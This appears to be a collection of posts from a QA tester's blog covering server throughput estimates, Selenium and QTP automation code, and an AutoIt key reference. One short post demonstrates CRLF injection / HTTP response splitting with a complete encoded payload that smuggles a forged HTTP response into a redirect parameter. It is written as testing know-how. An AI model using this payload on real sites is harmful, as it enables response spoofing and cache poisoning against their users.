Tuesday, March 8, 2011

FINDING SERVER CAPABILITY, REQUEST PER SECOND

DEAR ALL,

I DEDUCE FOLLOWING FOR MY ONE PROJECT. IT'S A BIG PROJECT RUNNING WORLDWIDE. IT IS A POWERPOINT PRESENTATION RELATED...


I tried here to find that our server is able to handle how many request per second. An approximate data of files being used is here:

File No. of files Total Size
ascx 53 275,416 bytes
aspx 310 4,805,494 bytes
css 54 834,304 bytes
htm 13 84,545 bytes
js 67 1,968,246 bytes
Total 497 7968005

So total 497 files having size 7968005 bytes
So average page size becomes: 7968005/497=16032 bytes (excluding data which fetched from database & displayed on page)
TCP Connection consumes: 180 bytes
GET Request consumes: 256 bytes
Protocol overhead consumes: 1,364 bytes
Total: 17832 bytes
Total Bits=17832 x 8 = 142656 bits per request

As per our IT admin, we have 100mbps line connected with LB. So it can transmit 100 x 1000000=100000000 bits per second
REQUEST PER SECOND= Transmit Capacity/Avg. Page Size = 100000000/142656 = 700

IT MEANS OUR SERVER IS ABLE TO HANDLE/DELIVER 700 REQUEST PER SECOND.
This can be increased we optimize & reduce our file sizes.

Thursday, January 6, 2011

automating the w3c css test with selenium

1.Create a table where url/body of css file is stored
2.Then fetch data from query
3.In a for loop send call to W3CCSSTest(selenium,dr)


public void W3CCSSTest(ISelenium selenium, DataRow dr)
{
string sql = "";
string cols = "";
string nexturl="";
verificationErrors = new StringBuilder("");

selenium.Open("/");


Thread.Sleep(2000);
try
{

if (dr["type"].ToString() == "U") // if url
{

selenium.Open("http://jigsaw.w3.org/css-validator/");
selenium.Type("uri", dr["BodyUrl"].ToString());
selenium.Click("link=More Options");
Thread.Sleep(1000);
selenium.Select("profile_uri", "label=No special profile");
selenium.Click("//fieldset[@id='validate-by-uri']/form/p[3]/label/a/span");
nexturl = "http://jigsaw.w3.org/css-validator/validator?uri=http%3A%2F%2Fjigsaw.w3.org%2Fcss-validator%2F&profile=none&usermedium=all&warning=1&lang=en";
}
if (dr["type"].ToString() == "B") //if body
{
selenium.Open("http://jigsaw.w3.org/css-validator/");
selenium.Click("link=By direct input");
selenium.Type("text", dr["BodyUrl"].ToString());
Thread.Sleep(1000);
selenium.Select("profile_input", "label=No special profile");
selenium.Click("//fieldset[@id='validate-by-input']/form/p[3]/label/a/span");
nexturl = "http://validator.w3.org/check?uri=http%3A%2F%2Fvalidator.w3.org%2F&charset=%28detect+automatically%29&doctype=HTML+4.01+Transitional&group=0&ss=1&No200=1";
}
Thread.Sleep(3000);

if (selenium.IsTextPresent("Congratulations!"))
{
verificationErrors.Append("pass,");
CreatedScreenShot = Utilities.SeleniumScreenShot(selenium, ScriptAndDirName, dr["Rid"].ToString() + "W3C_CSS_PASS");
DatabaseClass.LogDataInResultTable(ScriptAndDirName, TableName, Convert.ToInt16(dr["Rid"].ToString()), "P", CreatedScreenShot, Convert.ToString(verificationErrors), dr["owner"].ToString());
}

if (selenium.IsTextPresent("Sorry! We found the following errors"))
{
verificationErrors.Append("fail,");
CreatedScreenShot = Utilities.SeleniumScreenShot(selenium, ScriptAndDirName, dr["Rid"].ToString() + "W3C_CSS_FAIL");
DatabaseClass.LogDataInResultTable(ScriptAndDirName, TableName, Convert.ToInt16(dr["Rid"].ToString()), "F", CreatedScreenShot, Convert.ToString(verificationErrors), dr["owner"].ToString());
}
Thread.Sleep(3000);
selenium.GoBack();
}
catch (Exception ex)
{
verificationErrors.Append(ex.ToString());
selenium.GoBack();
}
}

Thursday, December 16, 2010

Quick reference for the Sendkeys.Send

Quick reference for the Send( "keys" [, flag] ) Command. ^ Ctrl ! Alt + Shift # Win

AutoIt can send all ASCII and Extended ASCII characters (0-255), to send UNICODE characters you must use the "ASC" option and the code of the character you wish to Send(see {ASC} below).


http://www.autoitscript.com/autoit3/docs/appendix/SendKeys.htm

Quick reference for the Sendkeys.Send

Quick reference for the Send( "keys" [, flag] ) Command. ^ Ctrl ! Alt + Shift # Win

AutoIt can send all ASCII and Extended ASCII characters (0-255), to send UNICODE characters you must use the "ASC" option and the code of the character you wish to Send(see {ASC} below).


http://www.autoitscript.com/autoit3/docs/appendix/SendKeys.htm

Quick reference for the Sendkeys.Send

Quick reference for the Send( "keys" [, flag] ) Command. ^ Ctrl ! Alt + Shift # Win

AutoIt can send all ASCII and Extended ASCII characters (0-255), to send UNICODE characters you must use the "ASC" option and the code of the character you wish to Send(see {ASC} below).


http://www.autoitscript.com/autoit3/docs/appendix/SendKeys.htm

Quick reference for the Sendkeys.Send

Quick reference for the Send( "keys" [, flag] ) Command. ^ Ctrl ! Alt + Shift # Win

AutoIt can send all ASCII and Extended ASCII characters (0-255), to send UNICODE characters you must use the "ASC" option and the code of the character you wish to Send(see {ASC} below).

Send is quite useful because windows can be navigated without needing a mouse.

For example, open Folder Options (in the control panel) and try the following:

Send("{TAB}") Navigate to next control (button, checkbox, etc)
Send("+{TAB}") Navigate to previous control.
Send("^{TAB}") Navigate to next WindowTab (on a Tabbed dialog window)
Send("^+{TAB}") Navigate to previous WindowTab.
Send("{SPACE}") Can be used to toggle a checkbox or click a button.
Send("{+}") Usually checks a checkbox (if it's a "real" checkbox.)
Send("{-}") Usually unchecks a checkbox.
Send("{NumPadMult}") Recursively expands folders in a SysTreeView32.


http://www.autoitscript.com/autoit3/docs/appendix/SendKeys.htm

Wednesday, December 15, 2010

running multiple selenium RC parallelly in multi threading

//running multiple RC parallelly

ParameterizedThreadStart objParameterizedThreadStart = new ParameterizedThreadStart(CheckPointStart);
hostInfo objHostInfo = new hostInfo();
Thread t = new Thread(objParameterizedThreadStart);
t.Name = k.ToString();
objHostInfo.bro = bro;
objHostInfo.host = host;
objHostInfo.port = port;
objHostInfo.SiteURL=siteurl.Text;
t.Start(objHostInfo);

running selenium rc on multiple ports

port=4444;
use a for loop to execute following
create 4444.bat, 4445.bat ...so on files
---------------
//run RC for each setting
ProcessStartInfo info = new ProcessStartInfo();
info.WorkingDirectory = wrkdir.Text;
info.FileName = @"e:\\AuthorStream\\Selenium-Scripts\\selenium-server-1.0.3\\" + port + ".bat";
info.WindowStyle = ProcessWindowStyle.Minimized;
Process.Start(info);
port=port+1
-------------------

Saturday, October 30, 2010

CRLF injection/http response splitting


Injected Data: %0d%0aContent-Type: text/html%0d%0aHTTP/1.1 200 OK%0d%0aContent-Type: text/html%0d%0a%0d%0a%3Chtml%3E%3Cfont color=red%3Ehey%3C/font%3E%3C/html%3E

Which can also be written as:
\r\n
Content-Type: text/html\r\n
HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
\r\n
hey



If the user follows the link, the HTTP request will look like:
GET /~dcrab/redirect.php?page=%0d%0aContent-Type: text/html%0d%0aHTTP/1.1 200 OK%0d%0aContent-Type: text/html%0d%0a%0d%0a%3Chtml%3E%3Cfont color=red%3Ehey%3C/font%3E%3C/html%3E HTTP/1.1\r\n
Host: abc.org\r\n
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.2\r\n
Accept: text/xml,application/xml,application/xhtml xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n
Accept-Language: en-us,en;q=0.5\r\n
Accept-Encoding: gzip,deflate\r\n
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n
Keep-Alive: 300\r\n
Connection: keep-alive\r\n
\r\n

Thursday, June 4, 2009

Dynamically Creating QTP Test Batch File/Test Suit

Let us consider that our test folders are ready...
now run this code over the main folder that includes all test folders...
It will create .mtb batch file for test...

you can even open the .mtb file with notepad & adjust the sequence of test..

Function TestsToTestSuit(TestDirPath)
filename=TestDirPath & "\ProjectTestSuit.mtb"
Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
Set objFolder = fso.GetFolder(TestDirPath)
set colSubfolders = objFolder.Subfolders
Dim myarray()
dim i
i=1
If fso.fileexists(filename) Then
fso.deletefile(filename)
End If
Set file= fso.CreateTextFile(filename, ForAppending, True)
file.Writeline("[Files]")
file.Writeline("NumberOfFiles=" & objFolder.Subfolders.count)

For Each objSubfolder in colSubfolders
ReDim preserve myarray(i)
If (objSubfolder.Name<>"Screenshots") Then
myarray(i)=objSubfolder.Name
file.Writeline("File" & i & "=" & TestDirPath & "\" & objSubfolder.Name & ";1 ")
i=i+1
else
i=i+1
End If
Next
file.close
DirectoryNameToArray=myarray
End Function


i have excluded "screenshots" folder from SVN Test script folder